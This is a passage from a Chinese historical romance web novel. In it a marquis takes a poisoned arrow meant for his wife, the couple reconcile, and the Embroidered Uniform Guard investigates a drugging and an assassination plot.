杜泠静眼泪却啪嗒落了下来。 他怎么还有心思说笑? 陆慎如却“呀”了一声,“怎么还哭了?” 他抬了那尚好的手臂给她擦拭了眼泪,马车吱吱呀呀往侯府而去。 “我身上这么多陈伤旧疤,娘子又不是没见过?再深的伤,总有好的一日。” 他笑起来,“等到明岁今日,你再看我肩上此伤,早就长平了。” 既是注定会长好的伤口,又有什么可伤神的? 杜泠静讶然向他看去。 他总把过去丢给过去,把未来交给未来,练就一身铜筋铁骨,阔步行在世间,什么都不怕。 可是当下,就此时此刻,他就不疼吗? 而未来会如何,他又怎么能确定? 杜泠静的眼泪越发落了,他“哎呀”着不住替她擦泪。 “别哭,别哭……” 但杜泠静的眼泪总是流。 他本可以,不受这伤。 …… 永定侯府。 杜泠静见太医竟磨了刀前来。 这次来的不是更擅内伤的温和的李太医,而是一位不苟言笑的王太医。 王太医上来便道,“箭上有毒,得给侯爷割些血肉下来。” 这话一出,陆慎如便向他娘子瞧了过去,果见她睁大了一双水眸,眸色发颤。 男人无奈,只怕王太医又说出什么,赶忙叫了崇平。 “送夫人回内院。” 但她却握了他的手,“我不走。” 她不肯走,手下那点力气只够把她自己的手捏到发白,传到他掌心里却痒痒的。 陆慎如心下软软,不禁翻手亦握了她。她可太多日子不肯跟他这样亲近了。 但他还是道。 “回去吧。若你过会见到割下来的血肉吓昏过去,太医是先治你,还是先治我。” 他劝了他娘子,不想王太医接了他的话。 “下官带了学徒,可以帮忙把夫人扎醒。” 陆慎如:“……” 王太医其实不用说这么多话。 且他也不想让他娘子挨针。 可杜泠静却道,“我不晕血,并不会被吓昏。” 但她会落泪。 本来眼睛就不好,一直落泪可怎么得了? 陆慎如只叫崇平,“送夫人回去。” 杜泠静不要走,他却已松开手,轻轻推在她腰间。 崇平上前。 “夫人回去吧,您在此间,侯爷会分神的。” 那箭钉得极深,上面更是还涂抹了毒药,想要清理干净可不简单。 杜泠静再不敢让他分神,只能一步三回头地离开了去。 杜泠静立在门外的廊下没回内院。 暂住侯府的幕僚都涌到了远岫阁来,崇安瘸着腿让他们都不要吵闹,“太医在给侯爷看伤,诸位先生安静些!” 接着就有人来传信,道魏琮和年嘉也闻讯赶过来了,从另一路赶来的还有魏玦。 三人在侯府门口遇了个正着,天黑着,年嘉听闻有刺客暗箭射去静娘,却伤了侯爷,一时顾不得世子,小跑着往里面来。 院门前,砰然撞到了一人身上。 那人却在一瞬间,极快地握住她的手臂,稳住了她的身形。 年嘉抬头看去,院门口的气死风灯映着男人眉宇压下的眼眸。 是魏玦。 她立时向后推了一步,他却莫名地还握着她的手臂,待她讶然看去,他才缓缓松开了他。 他脸色微微泛白,似是重病未愈的样子,同之前再不一样。 年嘉不知他是怎么了?难道也中了暗箭受了伤? 思绪一闪而过,她听到身后世子的脚步声近前,立时转了身去。 她再没同眼前的人说话,只回头叫了一声,“世子快些”,便进了院中。 魏琮大步到了门前,魏玦看到了他点头行礼,魏琮只瞧了从弟一眼,“嗯”了一声,没说什么旁的,跟着年嘉的脚步进了院里。 魏玦低垂了眼眸,也进了院中。 兄弟二人由崇平引着往厅里去了,年嘉却找到了杜泠静。 她见静娘一直守在侯爷门外的廊下,夜里的风在人身上还泛着凉意,她连忙拉了她去了旁边的厢房。 “别太担心了。”她劝她,“世子那会,我都以为他要不成了,这不是也好好的?” 她还亲手给杜泠静道了茶,劝她吃茶安心。 “他们这些武将,自幼便熬打身体,练得一身铜筋铁骨,身子好着呢,且侯爷伤在臂上,不会有碍的。” 确实世子前些日受的伤,比陆惟石要重得多。 但杜泠静却觉这不一样。 他本可以,不受这个伤…… 年嘉劝了她一阵,魏琮他们也过问了侯爷的伤势,不算太重,眼见着天色实在不早了,都离了去。 独剩杜泠静立在廊下转角的风口里,她脑中反复回想着那一瞬。 “泉泉!”他先是大惊地叫了她。 接着见她避闪不迭,无有一丝犹豫,两步跨上前来,一把将她抱紧怀里,替她挡下了那一箭。 她没看到他有一丝的犹疑。 这和她彼时救下廖先生完全不一样。 那时她是惊到脑中空白,只觉扑开来廖先生,她与廖先生都会无事。事实也确实如此,那箭矢并不如今日这支冷厉暗藏,只从她手臂擦过。 可方才夜空里突然射来的暗箭,已经来不及将她拉走或者扑开,他用自己的血肉之躯,生生替她挡下了这一箭。 那冷箭挟着嗡嗡的颤鸣,就这么砰然死死钉进他肩臂里。 杜泠静神魂在颤。 若那箭偏了呢? 若不是他的肩下臂膀,而是他的脖颈与眼睛呢? 她不敢再去想了,抬手抹掉眼角止不住的泪。 他怎么就一点犹豫都没有呢? 若他抛下他自己为她而死,她真的不知该如何自处。 * 王太医很快给陆侯清理了干净。 “这箭上的毒瞧着寻常,倒是配不上侯爷的身份。” 难道他必得中点一般人解不了的毒才行? 陆慎如:“多谢王太医了。” 王太医不用他谢,见时候不早便没再多留,道是明日再来看他。 不过王太医说对了,这毒并不算刁钻厉害,是只是寻常会涂抹在箭上的毒药,会令伤口溃烂不易愈合,这在太医手里却不成问题。 “这箭莫不是真的对着她去的?” 他问出去,崇平在旁回道。 “夫人身子弱,等闲箭伤都可能致命,若是再有毒性耽搁一二……看来射箭之人,或背后之人。” 他顿了顿,“恐怕真的想取夫人性命。” 话音落地的瞬间,整个房中凛气四溢,崇平甚至不敢去看侯爷眸色。 如果夫人真的因那暗箭殒命,他难以想象侯爷会是何等情形。 但话又说回来。 夫人是侯爷的软肋,就算从前旁人不知道,如今也渐渐有人知道了。此番很难说到底是对谁而来。 先有侯爷夜袭细作,后有夫人被人下药。 崇平暗暗思量必须要再好生加强侯府的防卫。 他刚思及此,就听见侯爷冷声道了一句。 “从下毒到放箭,才几日的工夫……必须揪出藏在暗处的人。” 人被揪出来之前,他真不能让她出门了。 高亮的灯影晃了晃,崇平压灭了其中的几盏,就见夫人端着茶到了门前。 崇平行礼,连忙退了下去。 陆慎如转头看了她,见她亲自端了茶水走了过来。 “喝点茶吗?”她柔声问他。 上次她这么端茶倒水地“伺候”他,还是上次,上次在保定的落脚地。 肩臂的伤处都不疼了,他细细看着她走上前来,给他倒了一碗水。 她眼睛通红,都跟她说了不要掉泪,还是弄红了眼睛。 她端着茶碗到了他身侧,陆慎如抬手要接过她难得给他倒的水,不想她却收了手。 “茶有些热,你单手不便。我喂你喝吧。” 陆侯心道自己的耳朵没受伤,他应该没听错。 果见她挨着他坐了,先替他吹了吹热茶,接着刮了茶叶和茶沫,小心递到了他唇边。 陆慎如一时竟忘了张开嘴,只一味看着他的妻,他凭借圣旨赐婚才娶回来的妻。 直到她疑惑地向他看来,一双水眸问他为何不肯张嘴,他才回了神。 他浅饮了一口她亲自喂来的茶水。 茶水泠泠似山间清泉,哪有半分烫口,她就是把整杯茶都送到他口中,他亦能吃下。 可她只让她浅饮了一小口,就收回来,重新为他吹了,再递过来。 茶香早就不见了,余下她唇齿间的清甜,与她白皙指尖的淡淡墨香。 男人的心化在了清茶里。 再看到她通红的眼睛,那眼泪是为谁而流? 他何曾在她这里,有过此等此刻? 他不要她再端茶喂他了,抬手接过茶碗放去了一旁。 杜泠静一愣,他却一把将她抱到了他腿上,把她抱坐到了他身上来。 杜泠静惊得魂都飞了,他另一只臂膀刚刚受了伤。 但他只仰头瞧着她的眼睛,向她低声问来。 “泉泉肯跟我和好了?” 和好? 都这时候了,他还在意在这个?他不知不知道,若那箭偏离,他说不准已经没了命了…… “不必要乱动手臂!” 刚上了药的,就来抱她。 她急着,他却根本没把伤放心上。 “我又不止那一只臂膀,这不还有一只么?” 他根本不在乎,只又仰头看她问了一遍。 “泉泉,可以同我和好么?” 杜泠静却再也忍不住,她忽的闷声哭出了声来。 下一息,她抱住他的脖颈,径直扑在了他怀里。 男人怔住了。 夜幕笼罩的室内,昏黄的灯火颤动。 这是第一次,她主动扑进他怀里。 她接受他,把她的整张脸,都深深埋在他胸膛前! 陆慎如竟在这一瞬,怔着不知所措了。 灯火犹在颤动,不知那盏小灯,燃烧着发出噼啪一声轻响。 勉楼的暗隔里是从不点灯的,白日里不会点,到了夜里更不会。 他养伤日久,习惯了如此,但二弟前来看他的时候,却极其不管。 暗隔无灯,唯有几缕从她在勉楼的书房里透出来的光亮,斜斜照进来,长夜无趣得很,二弟有一搭没一搭地跟他干聊。 “大哥在勉楼里成日与她做伴,总晓得人家叫什么名字了吧?” 杜泠静,那是她父亲给她取的大名。 他不同二弟说,二弟却又问,“不说名,哥说她的字也行。” 男子会取表字,而读书人家的闺阁女子,也或有小字。 二弟料想她必有小字,问了过来。 但她好像没有。 不过他道,“泉泉二字。” “泉泉?”二弟飞快眨了眼睛,“哥果真都打听明白了,连人家小字都知道了。” 他回了一声,“是我取的。” 话音落地,二弟差点咳了起来。 那小子连忙捂住了嘴巴,以免暗隔里闹出动静令人起疑。 但却越发眨眼定了他。 “清泉石上……哥你也太过分了吧,给人家取这无关的字,只为了合你!” 他瞥了二弟,这才告诉他,她名为“泠静”。 二弟恍惚,“好生动听的名字。静水泠泠,好似是得取‘泉’作小字。不过哥你兀自取了有什么用?人家姑娘还不怎么认识你呢!” 会认识的,他心想。 但过了没几日,他却见杜阁老搬了个山水盆景上到书楼里来。他让人把山水盆景就放置在她的书房里。 不时灌了水,便有泠泠的细水流动起来。 杜阁老捋着须满意地笑,“这盆景中细水活如泉,恰应了静娘的小字。” 陆慎如在暗隔后面讶然。 她的小字,莫不是二弟替他说给阁老了?他脸色不禁发烫,恒如这小子…… 谁料一旁阮恭的父亲阮大管事却道,“三爷给姑娘取的这字,委实是妙。” 三爷,三郎,三哥。 他不止一次听见有人提及,不过此人在山中养病,尚未在青州。 此间是杜氏一族的聚居之地,族人常来常往,好比杜家族内的大郎杜济沧,就时常过来。 他料想三郎也只是杜家的三郎,是她的族兄。 不然,怎会给她取小字呢? 他没在意,只觉“泉泉”二字,或是天意,恰恰与他相合。 可人人口中的三郎回来了。 她听到消息的那日,满脸皆是掩藏不住的惊喜,她似一只嗅到花香的蝴蝶,衣裙翻飞地就跑下了勉楼,跑了出去。 他这才晓得,那并不是她的族兄。 原是她的心上人。 “泉泉”二字,是她的心上人取给她的。 可那又怎样呢? “泉泉”二字,不独是他蒋竹修取来的。 …… “泉泉。”他低声叫她。 灯火噼啪着,细细微微的烟火气飘荡在房中,合着药香、茶香、墨香,还有她鬓边的发香。 她一味地哭,扑在他怀里,拥了他的身,彻彻底底地将她投在他怀里。 再也不似她父亲过世那时,她提灯夜问群山,山雨浇灭她手里的灯,她听着呼唤,快步飞扑在蒋竹修的怀里。 此刻,她独独在他怀中。 是否,也会有将蒋竹修渐渐忘却的一日? 他宽阔有力的臂膀拥紧了她。他尤嫌不够,还想要用另一只手,就把她完全嵌入他怀中。 但他另一只手臂一动,她就惊了起来。 “不能动,不能动!” 她眼中尽是泪光,却急着按着他不许他动。 陆惟石无奈,摇了摇头。 但惟用一只手臂,却径直将她抱了起来。 他亦起身,踩着黄晕的灯影,单手稳稳将她抱到了窗下的高台上。 她圈着他的脖颈不敢乱动,他却抬手抹掉她红红眼下的泪。 “泉泉,从今往后,都别再哭了。” 杜泠静亦不想再落泪,她攥紧了他的衣角。 “那你要好好的。” 男人低笑,应她。 “好。” 他的泉泉,终于跟他和好了! …… 次日,王太医重新给陆侯清创上药,杜泠静从远岫阁暂时出来,往内院给他取几件宽敞的直裰换上,便见外院如同洪水决堤,满满当当全是来探望的人。 众人都惊诧于侯爷竟然会受伤,又道皇上晨间震怒。 堂堂京城,天子脚下,竟然有人敢刺杀一品公侯,须臾的工夫,锦衣卫会同五城兵马司,连同顺天府衙,三方人马布满了京城的大街小巷,又往京畿查去,四处搜人。 杜泠静停下脚步停了两耳朵外面的消息,便听到有前来探望的将领议论起来。 “侯爷怎么会受伤呢?纵然有刺客,侯府的侍卫又做什么去了?竟令侯爷被暗箭所伤。” 有人说百密难免一疏。 但有人更知道些详情,“说是有醉酒的举子故意挡了侯爷的道,侯爷宽容大量不欲他们计较,临时下了车,陪夫人在街上闲逛。” 这人说着,声音压了些,“闲逛倒也没什么,但那暗箭却是朝着夫人去的。” 他道,“侯爷这次,完全是为夫人生生挡下这一箭!” 此言一出,众人皆惊。 一时间无人言语,却有个虎背熊腰的将领,刚从西北到京里来,闻言立了眉。 “怎会如此?恕我直言,夫人有什么紧要,值得侯爷以命相护?” 他直道,“侯爷若是没了,整个西北永定军,连同宫里的慧王殿下和贵妃娘娘都无以为继,侯爷怎能如此轻率?!” 他此番言论出口,也有人点头道是。 杜泠静默然立在墙后,低头抿了唇,转身轻步离去。 这样的话有人敢说,便不只是一个人的意思,有人含蓄地提到了陆慎如脸前。 他问了崇平一句。 “他们不会都是这个意思吧?” 意思是侯爷不该为夫人挡箭。 崇平轻叹一气,陆慎如却直接沉了脸。 此话若是让她听见,还不知如何作想。 这会外面探望的兵将还排着队,男人却冷着脸抬了手。 “不见了,让他们都走。” 他当即就让崇平去传话,不许人来探望,“还有西北那些,更是不许往京城来。” 这还不是最关键的,最关键的是: “任何人不得妄议夫人!” 崇平连忙应声,“是。” 不过崇平还没走。 男人又问了他一句,“还有何事?” 崇平低声。 “回侯爷,先前在兖王别院,给夫人下药的人,有眉目了。” 第75章 京城外城, 大报国慈仁寺。 有人出了大笔的香火钱,围了一间大殿单独跪在期间,虔心求佛。 住持亲自帮她祝祷, 待住持祝祷结束后离去,杨金瑜又在佛前跪了半刻钟, 才缓缓起了身。 陪房嬷嬷前来搀她, 又要扶她去禅房里喝茶休歇,不过杨金瑜却定了定脚步。 她看向自己的陪房嬷嬷,更看向殿外候着的嬷嬷的女儿。 “不急吃茶,”她道, 压了些声音同嬷嬷道,“让你那丫头, 也来佛前拜一拜。” 嬷嬷一怔,瞬间明白了她的意思。 那日在兖王别院的花宴上,夫人派她的小女偷偷跟着陆侯夫人,不想这一跟, 还真撞见了陆侯夫人姐妹的一桩密事。 彼时那药瓶从陆侯夫人妹妹的袖口掉了出来, 掉进了草丛深处无人察觉, 她女儿待到无人时,飞快取了来, 交给了夫人。 夫人看着药瓶就笑了起来。 恰转眼就听说兖王妃去探看了割破手的陆侯夫人,令人取了镇痛的酒给陆侯夫人吃。自己夫人立时就把那药瓶, 又重新塞回到了女儿手里。 “从陆侯夫人处得来的药,咱们可不留, 自是要还回去的。” 夫人所谓的“还”法可不是一般的归还。 她当时不免提了心,有意劝夫人不要妄行险事,夫人却觉此事完全是神不知鬼不觉。 幸而她小女是个手脚利落地, 三下两下就把药倒进了陆侯夫人的酒里,接着便扔了药瓶往湖中,利索地跑了回来。 夫人自是满意,赏了金银。但那下了药的酒却没进到陆侯夫人口中,进了年嘉郡主嘴里。 夫人不快,不想永定侯府竟然还是追查了起来。 这一查,夫人有点不安了,不过几日过去,还没查到她们此处。夫人一早就到了慈仁寺,自己跪着求了半晌,这会,又叫了女儿也去佛前,好生求个平安。 陪房嬷嬷见状,干脆跟着女儿去求了一遍。 母女二人上香又叩头,杨金瑜亦在心里默声念了几句—— 她那日仅仅是顺手牵羊而已,且酒没落入杜氏口中,也没闹出什么大事,此事就这么悄悄过去吧。 佛拜过,杨金瑜暗觉心口落定五分。 就在转身要去禅房吃一碗静心茶的时候,殿外忽然有脚步声急促围拢而来。 须臾的工夫,乌压压的人将大殿围得水泄不通,他们皆穿了飞鱼服。 下一息,有人从人群后面缓步走上前来。 他修笔的身形削如利剑,他亦穿了飞鱼服,却是那绯红的颜色,日光盛大,他的绯红飞鱼服却隐显暗红,他慢步走上前来,手就搭在精束腰间的御赐绣春刀上。 是锦衣卫指挥使,魏玦。 杨金瑜看见他的一瞬,心口就重重地咯噔了一下。 魏玦还未开口,只浅浅回头看了一眼身侧,立时上前几个锦衣卫,当即将陪房嬷嬷母女押了起来。 杨金瑜倒吸气,“指挥使这是做什么?!” 魏玦嗓音是惯来的温和,但此刻沉着,溢出三分冷意。 “世子夫人不必着急,她母女二人我要带走,至于夫人您,也得随我往锦衣卫走上一趟。” 他开口说来,陪房嬷嬷母女已软了腿,而杨金瑜额前也不由出了冷汗。 但她不肯轻易就范。 好歹,她也是荣昌伯府的大小姐,卫国公府的世子夫人。 “指挥使抓我们,也总得事由?” 这话令魏玦浅笑了一声,他不多言,只让身侧陪同前来的北镇抚使告知。 北镇抚使直接便把花宴上有人往陆侯夫人酒中下毒,而更有人看到了她的丫鬟,彼时曾在茶房出没。 杨金瑜一听,汗出得更快了。 可那不过是没有闹出真章的顺手小事而已。 她不禁道,“我从未做过这等事,而且你们锦衣卫,是没有什么要紧事了吗?只盯着后宅女眷不放?!” 她气势不小,还敢反问。 这次魏玦亲自开了口。 “不只有这一件事,还有昨晚陆侯与夫人当街遇刺之事。有人看到了肖似刺客的贼人,就在卫国公府旁边。” “什么?!”杨金瑜大惊失色,“没有!我没找人刺杀!” 可事情这么巧都与她有关,请她往锦衣卫走一趟可不冤。 “锦衣卫办案,可不只是听谁人的一面之词。” 魏玦看向这位白了脸色的世子夫人,想到她远在西北守了一辈子边关的荣昌伯老父亲,他默然摇了头,给了她最后的忠告。 “若世子夫人,不想把卫国公府和荣昌伯府全都牵连进去,还是配合些的好。” 话音落地,他径直转身,绣春刀耀出大殿外的日光。 “带走!” * 杨金瑜还未进到锦衣卫,消息就先到了永定侯府。 杜泠静听闻两桩事,尤其是前一桩与她密切相关,这才想起那日在兖王府门口,自己与杨金瑜相遇时,她那不善的眼神。 但杨金瑜到底是二爷陆恒如的舅家表姐,她看了一眼身侧的陆侯。 男人闭着眼睛。 上一次,他已是给了杨家脸面,这一次,杨金瑜的手已伸到了他娘子的脖颈上。 他再留手,算什么?! 陆慎如察觉到娘子的目光,掀了眼帘向她看去。 “此事交给魏玦与锦衣卫料理,泉泉不必操心。” 杜泠静叹了口气,见他右臂受伤,左手写字不便,上了前去。 “你要写什么,我来代笔。” 陆侯要提笔写字,能找来一万人能给他代笔,但今日主动为他代笔的却是他的夫人。 难以想象,陆慎如心想。 他还没开口说什么,外面喧闹了起来,尤其是幕僚厅的方向,隐隐有提及殿试结果的话传出。 今日是今岁春闱的殿试,皇上亲自上殿考较上月会试入闱的新贡士。 原本陆侯也当在列,然而昨晚受了伤,皇上今日一早就免了他入宫,令他在家好生休养。 殿试三日之后,会出今岁春闱的金榜,皆是众人名次俱在其上。不过在殿试的当日,皇上便会点出一甲进士及第的状元、榜眼和探花。 杜济沧会试排在杏榜十二名的高名上,很有机会因皇上一眼青眼,便提到一甲的前三。 陆慎如见他娘子目光反复往外看去,立时让人将余幕僚叫了过来。 余幕僚刚进门,陆侯就问了过去。 “今岁一甲,可有青州人士?” 杜济沧、杜泠静以及整个杜家都是青州人。 余幕僚闻言微顿,又道,“还真有。” 这三个字说得杜泠静眼睛都睁大了。 但余幕僚看向夫人与侯爷,略略发干地笑了一声。 “但这位青州的却不是杜家大爷,而是……蒋家六爷。” 话音落地,书房一静。 杜泠静却不可思议地以为自己听错了。 “六郎蒋枫川?” 余幕僚回应说是蒋家六爷没错。 “六爷得皇上钦点,是今岁春闱的一甲探花郎!” 陆侯默然皱了皱眉。 杜泠静愕然不已,她完全想不明白。 蒋枫川杏榜排在倒数第三位,怎么会金榜高高地点了正数第三的探花郎?! * 此刻京城的蒋氏门前,连带着几条大街小巷,都如洪水般挤满了人。 蒋枫川没有回新置办的宅邸,待从宫中出来,直接骑马去了外城的红螺寺。 他去给蒋太妃娘娘叩了头,蒋太妃落了泪,连朴嬷嬷都跟在旁红了眼睛。 蒋太妃为先皇诞下裕王,蒋氏本是皇子外家,荣华与共,不想裕王早逝,蒋氏亦无能人出头,就这么沉寂了许多年,直到蒋竹修高中一省解元,蒋氏阖族原本将荣耀都寄托在他身上,可惜他多病不济,终是英年离去。 而蒋氏一族再也没能想到,蒋竹修捡回来的那族中弃子,能高中进士,更高高地成了皇上钦点的探花郎! “皇上看上了你?”蒋太妃还有些难以相信。 蒋枫川说是,“皇上问了我的年齿,又看了我的文章,同我连点三下头,不想还真就点了探花!” 如梦一样。 蒋太妃抹了眼泪,“你当好生却谢你爹娘,还有你三哥谦筠。” 蒋枫川连道这便给养父母写信回去报喜,至于蒋竹修。 “我在京外三哥立了衣冠冢,今日便去三哥面前亲自告诉他!” “去吧,去吧。” 蒋太妃由朴嬷嬷搀扶着回到了佛前,蒋枫川写过信,果是扬鞭打马奔向了城外。 他撩袍跪在了刚修立不久的衣冠冢前。 哥生前,他与哥约定三年前的春闱他们一同进京赶考,哥走不动,他便把他背到京城。 但三年后的今日,他自己来了,意想不到地摘星揽月,取了探花的高名。 千言万语聚在心口,却不知要从哪句与过世的人说起,又或者问他一句什么。 是问他为何自戕提前结束生命,还是问他自己此番能取高名,是哥在天之灵下了凡,一直跟在他身侧一同入了考场? 他什么也没说,埋头跪拜在他的衣冠冢前。 他是哥哥捡来的弃子,此生就该代哥而活。 哥死后,兄终弟及的传言是他主动散布的,彼时,他只想代哥娶妻,将哥的心上人娶回家来。 但如今…… “满京城都在榜下捉婿,但六郎确实没有旁的想娶之人了。” 他轻声,实言告诉哥哥。 “除了她。” 会否这就是哥的意思,让他连心中意都全然代替? 清风吹来过世之人的回应,但山河不言,林木不语。 蒋枫川只能缓慢叩头在坟前,连三,恭敬离去。 他回到京城外城的广宁门口,听见有人在大报国慈仁寺前议论纷纷。 蒋枫川让人上前打听了一耳朵,去的人回话,说锦衣卫请走了来上香的卫国公世子夫人,似是与陆侯和夫人有关。 旁边的人都在议论,说行刺侯爷的刺客,似乎就是这位杨夫人派来的。 蒋枫川挑眉。 是么? 下毒之事多半与此人有关,但行刺的事,他可不这么认为。 他想了想,没有立刻回家,反而往黄华坊顾家的方向走了一趟。 …… 黄华坊顾府,顾扬嗣没能耐得住,换了一身不起眼的衣裳,从小门溜到了街巷上的茶馆,捡了个僻静地坐了下来。 茶馆里三教九流什么人都有,鱼龙混杂,他支着耳朵一听,就听见有人说起陆侯遇刺的事,接着便也听到锦衣卫带走了卫国公世子夫人杨大小姐。 “卫国公府确实不在永定军中,但那杨夫人娘家荣昌伯府却在,她老父更是西北大将,伤了侯爷对她有什么好处?” “这谁知道?高门里的弯弯绕绕多了去了。不过昨晚那射了暗箭的此刻,有人确是在卫国公府附近见到,未必就冤枉了她……” 众人都这么说,顾扬嗣听得不住眨眼。 前几日,他又给外甥女寻了个有利可图的亲事,但人却被扣在了杜家的宅子里,他死活接不出来人,好好的亲事就黄了。 他喝了个酩酊大醉,想到陆侯打瘸了他的腿,那陆侯夫人扣着外甥女不交出来,光让他顾家花钱养着那疯了的人。 他心下恨不能除了那两夫妻。除不了陆侯,除了他夫人也是一样! 谁料彼时正好有个江湖浪子也在那酒馆里,两人攀扯着喝了半夜,他忽的将这憋闷之事说出口,那江湖浪子竟道,“此事虽险,却未必不成。我极其善箭,但事后需要些盘缠上路。” 那浪子缺钱没有,他想杀人又不成,这下两下一拍即合,酒还没醒,他就让人拿了钱。 事后酒醒过来,见失了财又没了人,还以为被人骗了。 谁曾想昨晚,陆侯忽然被刺,恰是被冷箭所伤。 刺客来路不明,至今未有下落。 他先听闻的时候,魂都吓飞了,但这会听见事情竟被卫国公世子夫人扛了,止不住地想笑,又不敢笑,极力捂着嘴巴,挪动着他那条瘸腿,想要多听几句。 不想有人在他同桌上落了座,与他拼桌。 顾扬嗣怕被人瞧见,起初还遮掩着脸,再看旁边落座的青年,恍惚着认了出来。 这不是青州蒋氏的六郎吗? 他在杜家为杜致礼治丧的时候见过。 那会蒋六郎只是个养子,比不得蒋三郎半分,他没当回事。 但今日,如果他没弄错的话,蒋六今日刚刚点了个探花! 显然那蒋六郎没认出他来,似是从外面赶回,只一味低头吃茶。 再过两日,殿试张榜,探花骑马披红上街,天下无人不识他,不过这会还没人将他认出来,唯独顾扬嗣自己。 今日是走了什么大运,先有杨氏女替他顶罪,后有探花郎坐到了他桌上。 顾扬嗣只觉自己这是苦尽甘来,时来运转了。 他开口就叫了蒋枫川的名字,“探花郎哪里来的闲工夫,跑到这里吃茶来了?” 他问去,见青年俊美的脸上双眉讶然挑起,仔细看了他半晌才认出来。 “顾大老爷?” 见他还认识自己,顾扬嗣更是欣喜。 三年前的探花邵伯举殒命狱中,没指望了,这一次的探花,说不定日后要腾飞而起,他何不赶紧攀上关系? 他笑得谄,蒋枫川见他这笑,就止不住在心里冷哼了一声。 自前些日,顾扬嗣往澄清坊杜家门前闹事,他就让人盯了此人,前两日顾扬嗣与一个江湖浪人饮酒一夜,还奉上数金的事,他也是知道的。 怎么这么巧,出了刺杀的事,最初不是朝着陆侯而去,反而是向着静娘,到底会是谁人与她有仇,想要杀她。 而今日,据说顾扬嗣可是躲躲闪闪的很。 要杀静娘的人,就是这位顾大老爷顾扬嗣吧? 他眸中有恻恻冷光一闪而过,但面上再未表分毫。 顾扬嗣也没留意,问他堂堂新科探花,怎么到了这里来。 蒋枫川同他不住摇头,“先前会试上榜,就有一众人要给我说亲,我一个都不认识,怎么娶人家姑娘,这次皇上垂爱,点了个探花,门前人挤着人,我不敢回家了,生怕又有生人来榜下捉婿的戏码,在城外躲了半日,刚回来下马吃茶。” 他又请求顾扬嗣,“还望顾大老爷莫要声张,容六郎多吃口茶。” 顾扬嗣见他一副怕怕的样子,忍不住笑了起来。 他道有人说亲,旁人高兴还来不及,“探花怎么还害怕?” 但他忽的想起了什么,“说起来,那些不认识的人说亲,委实令人难为。不过你我也算是相识熟人,我给你说门亲怎么样?保你满意!” 这话一出,蒋枫川便转头看了过去。 “大老爷要给蒋某说哪门亲?” 顾扬嗣笑起来,“我说的亲事你保准满意!” 他道,“就是我那外甥女,与你恰是青州同乡的,杜家二姑娘!” 杜润青。 顾扬嗣心道哪还有比这更顺理成章的亲事。 这次不用他那老母出面,他自给外甥女寻了亲,攀得可是刚刚出考场的新科探花! 他说完,见对面的青年笑了起来,一张俊脸上狭眸微眯,唇角扬起。 他的笑声莫名有些别样的意涵,却一口应了下来。 “这亲事可真好啊。” * 积庆坊,永定侯府。 魏玦派人来了一趟,说杨大小姐死活不肯认下暗箭刺杀一时,逼问半晌,才支吾在下药的事上点了头。 魏玦已经派人在追捕刺杀的凶手,捉到凶手,谁人指使,自然就明了了。 陆慎如不急。 这会见他的娘子带着人进到房中来摆了饭,然后把人遣了下去,亲自拿了碗筷。 她见他一直盯着她看,歪了歪头打量他。 “怎么了?看什么呢?” 又问,“饿了么?我让灶上做了你爱吃的菜。” 男人一眼扫过去,还真是他爱吃的那几样。 她还能知道他爱吃的菜? 别样的从未有的体验。 他走过去,刚坐下,她就先倒了温茶喂了他些许,接着落坐在他身侧,不顾自家吃饭,只顾着每样菜都捡了在碗中,给他喂过来。 陆慎如心肝都颤了一颤,抬手将她止了下来。 “泉泉,我自己吃。” 她却不肯,皱着眉头非要喂他。 “除非你是觉得我伺候不好你。” 男人无奈地看着妻子笑。 他怎么跟她说,他是如何都想不到,她会有这般着意地亲自照看他的一日。 他又怎么跟她说,他实在是适应不来,他娶她回家,再没有让她为他操劳的意思。 他接过她手里的碗筷放了下来。 “我不要你伺候我,这伤也没什么大不了,你就坐在我身边就好。” 这是什么怪话? 他动不了右臂,她纵然亲自伺候他又能怎样? 况且他本不该受伤。 但他已将近身侍卫叫了进来,让侍卫来给他布菜,又同她柔声道。 “快点吃你的饭。” 他就是个怪人,万事都有他自己的主张,杜泠静拗不过他,只能自己端碗吃了饭。 吃过饭后,他拉着她往花园里走了一圈,左手把她的手握在掌心里,眸色愉悦得似天边的飞霞,不知道的,还以为他陆侯不曾受伤。 等转到天黑了,他让人在漱石亭中点了灯,布了茶来。 四月里的天正式不冷不热,亦无蚊虫滋生的时候。 夜风掠过皇城角楼高耸的顶尖,吹拂到漱石亭里,淅淅沥沥下了一阵小雨。 他笑着问她,“娘子,今晚像不像你我圆房那日?” 亏他能将圆房随意宣之于口。 杜泠静瞥了他一眼,但环顾四周,还有雨滴穿成串落在亭檐下,风细细吹着。 确实很像那日,那日他请她换新衣赴宴,又将她从亭中亲自抱回正院。 雨水积在地面上,他道。 “别沾雨。” …… 杜泠静不禁朝他看了过去,灯影中一束高亮的光,恰就照在他高挺鼻梁中间两道旧疤。 残留疤痕的鼻梁之上,他双眸如映深邃夜空,英眉峰处高挑,尾又压下。 而两道旧疤痕之下,他双唇偏薄,下颌刚毅,颈间领上高突的喉结起伏。 “娘子在看我什么?”他浅笑问来。 他一笑,刚毅凌厉的面目瞬间柔和起来,灯火照映间,莫名有种说不出的惑人之感。 杜泠静心头快跳几分,脸也随之渐渐热了起来。 她竟有些不敢看他。 陆慎如颇为惊讶,一时没想明白,却听见她的娘子柔声开了口。 “夫君真是英俊,世间可比拟的男子,应该没有了。” 她倏然把心中想法,跟他径直说了出来。 目光轻柔地带着些许羞意地,落在他眉宇之间。 陆慎如彻底怔在了当场。 她是在说他? 不是别人? 第76章 她叫他夫君, 她赞他英俊,她说世间无人可与他比拟。 陆慎如足足愣了好几息,直到一窜雨珠沿着亭檐滑落, 又流进亭边的草丛里,他才回了神。 他看着她站起了身来。 他忽的起身, 把杜泠静弄得不知所措起来, 还以为他想起了什么紧要事,亦跟着他站了起来,却见他那双如夜的眼瞳,一味地紧紧看着她。 她欲上前一步问他怎么了, 他却当先一步到了她身前。 园中除了滴滴答答落在湖中、林里和漱石亭上的雨声,什么声音都没有。风里飘来泥土与花草的清鲜香气, 静静的,安安的。 他抬手捧住她的脸,用生了薄茧的指腹,轻轻擦在她唇边。 柔唇敏感, 温热的指腹轻擦, 酥麻的感觉通身传遍。 “夫君……做什么?” 又叫了他夫君。 陆慎如目光只落在她微红柔润的唇上。 “唇上何时抹了蜜糖?怎生说出这样的话来?” 他嗓音本就低哑, 此时轻声问去,声音化在雨滴里。 杜泠静这才明白他一惊一乍在做什么。 她不禁要笑, 心道他陆侯什么样的甜蜜奉承没听过,怎么她说两句, 他就这般怪样? 她不由地弯唇而笑,但他却已低头覆上了她的唇。 他今次无有半分往日的霸道, 